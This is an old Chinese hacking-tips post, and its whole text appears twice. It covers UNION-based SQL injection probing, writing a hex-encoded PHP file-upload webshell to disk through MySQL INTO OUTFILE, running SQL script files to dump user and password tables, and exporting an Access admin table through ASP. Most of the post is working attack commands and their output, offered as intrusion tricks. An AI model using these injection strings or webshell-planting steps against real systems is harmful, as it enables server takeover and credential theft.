[tips2]
文/superhei 05-02-10
1.不要错误判断(特殊字符)的sql注射
经典方法:
id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断
我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样:
id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ......
当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了
不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个时候这个方法就失败了。
ps:CASI3.0就采用的这个办法。
2.mysql导出shell新方法
经典方法:
CREATE TABLE a (cmd text NOT NULL) <-创建一个表
INSERT INTO a (cmd) VALUES () <-插入数据
select cmd from a into outfile path 〈-导出
DROP TABLE IF EXISTS a 〈-删表
新方法:
mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D
2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi
le 'c:/heige.php';
Query OK, 2 rows affected (0.00 sec)
C:/>type heige.php
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
注意上面语句的 from in.user <-这个必须存在 :)
这个方法也应用在casi3自带mysqlc.exe里面。
3.Eexcute a SQL Script file in Mysql
先把我们要执行的语句保存为一文件:
c:/11.txt里内容:
select * from user into outfile 'c:/heige.php';
在mysql执行:
mysql> /.
ERROR:
Usage: /. <filename> | source <filename>
mysql> /. c:/11.txt
Query OK, 2 rows affected (0.00 sec)
C:/>type heige.php
1 angel mypass
2 4ngel mypass2
也可以使用 mysql> source c:/11.txt 我们再看看可以用select去执行不 :
mysql> select /. c:/11.txt
ERROR 1086: File 'c:/heige.php' already exists
mysql> select source c:/11.txt
ERROR:
Unknown command '/1'.
-> ;
ERROR 1064: You have an error in your SQL syntax. Check the manual that corresp
onds to your MySQL server version for the right syntax to use near ':/11.txt' at
line 1
看来select 只识别/.
大家注意到select /. c:/11.txt 着里面路径不要求'' ,不过又多了个/ 这个在magic_quotes_gpc = On 下照样过不去
有兴趣的可以接着玩玩 :)
4.access导出文件
详细见kevin的blog
http://hididi.net/public/Kevin/blogview.asp?logID=73
<%
'code by superhei
'test access
Set Conn = Server.CreateObject("ADODB.Connection")
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;' FROM admin;"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
response.write "sql为:" &sql
%>
执行上面的asp
C:/>dir mytest*.txt
驱动器 C 中的卷是 AAAAAAA
卷的序列号是 3CEE-A8A9
C:/ 的目录
2005-02-09 17:27 46 mytest112.txt
1 个文件 46 字节
0 个目录 885,846,016 可用字节
C:/>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"
文/superhei 05-02-10
1.不要错误判断(特殊字符)的sql注射
经典方法:
id=1 and 1=2 union select 1,1,1,1,1,1,1 再根据特殊字符判断
我们知道当上面的字段前后一样时,查询出来的字段数据都被1替换了,这里用可以把1改为一个特殊点的数字(不可以为字符),比如这样:
id= and 1=2 union select 1.123230273,1.123230273,1.123230273,1.123230273 ......
当我们字段相同时,数据都会被1.123230273替换出来,我们只要用程序查找返回的数据是否包含了1.123230273这个就可以判断了
不过有的程序 当你查询错误时 自动提示出你的错误的sql语句 当然这个里面就有你提交的1.123230273,这个时候这个方法就失败了。
ps:CASI3.0就采用的这个办法。
2.mysql导出shell新方法
经典方法:
CREATE TABLE a (cmd text NOT NULL) <-创建一个表
INSERT INTO a (cmd) VALUES () <-插入数据
select cmd from a into outfile path 〈-导出
DROP TABLE IF EXISTS a 〈-删表
新方法:
mysql> select 0x3C3F636F707928245F46494C45535B4D7946696C655D5B746D705F6E616D655D
2C245F46494C45535B4D7946696C655D5B6E616D655D293B3F3E2F2F from in.user into outfi
le 'c:/heige.php';
Query OK, 2 rows affected (0.00 sec)
C:/>type heige.php
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>//
注意上面语句的 from in.user <-这个必须存在 :)
这个方法也应用在casi3自带mysqlc.exe里面。
3.Eexcute a SQL Script file in Mysql
先把我们要执行的语句保存为一文件:
c:/11.txt里内容:
select * from user into outfile 'c:/heige.php';
在mysql执行:
mysql> /.
ERROR:
Usage: /. <filename> | source <filename>
mysql> /. c:/11.txt
Query OK, 2 rows affected (0.00 sec)
C:/>type heige.php
1 angel mypass
2 4ngel mypass2
也可以使用 mysql> source c:/11.txt 我们再看看可以用select去执行不 :
mysql> select /. c:/11.txt
ERROR 1086: File 'c:/heige.php' already exists
mysql> select source c:/11.txt
ERROR:
Unknown command '/1'.
-> ;
ERROR 1064: You have an error in your SQL syntax. Check the manual that corresp
onds to your MySQL server version for the right syntax to use near ':/11.txt' at
line 1
看来select 只识别/.
大家注意到select /. c:/11.txt 着里面路径不要求'' ,不过又多了个/ 这个在magic_quotes_gpc = On 下照样过不去
有兴趣的可以接着玩玩 :)
4.access导出文件
详细见kevin的blog
http://hididi.net/public/Kevin/blogview.asp?logID=73
<%
'code by superhei
'test access
Set Conn = Server.CreateObject("ADODB.Connection")
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open dsn
SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;' FROM admin;"
rs.open sql,conn
if rs.eof and rs.bof then
' Access Denied
else
' Access Allowed
end if
rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
response.write "sql为:" &sql
%>
执行上面的asp
C:/>dir mytest*.txt
驱动器 C 中的卷是 AAAAAAA
卷的序列号是 3CEE-A8A9
C:/ 的目录
2005-02-09 17:27 46 mytest112.txt
1 个文件 46 字节
0 个目录 885,846,016 可用字节
C:/>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"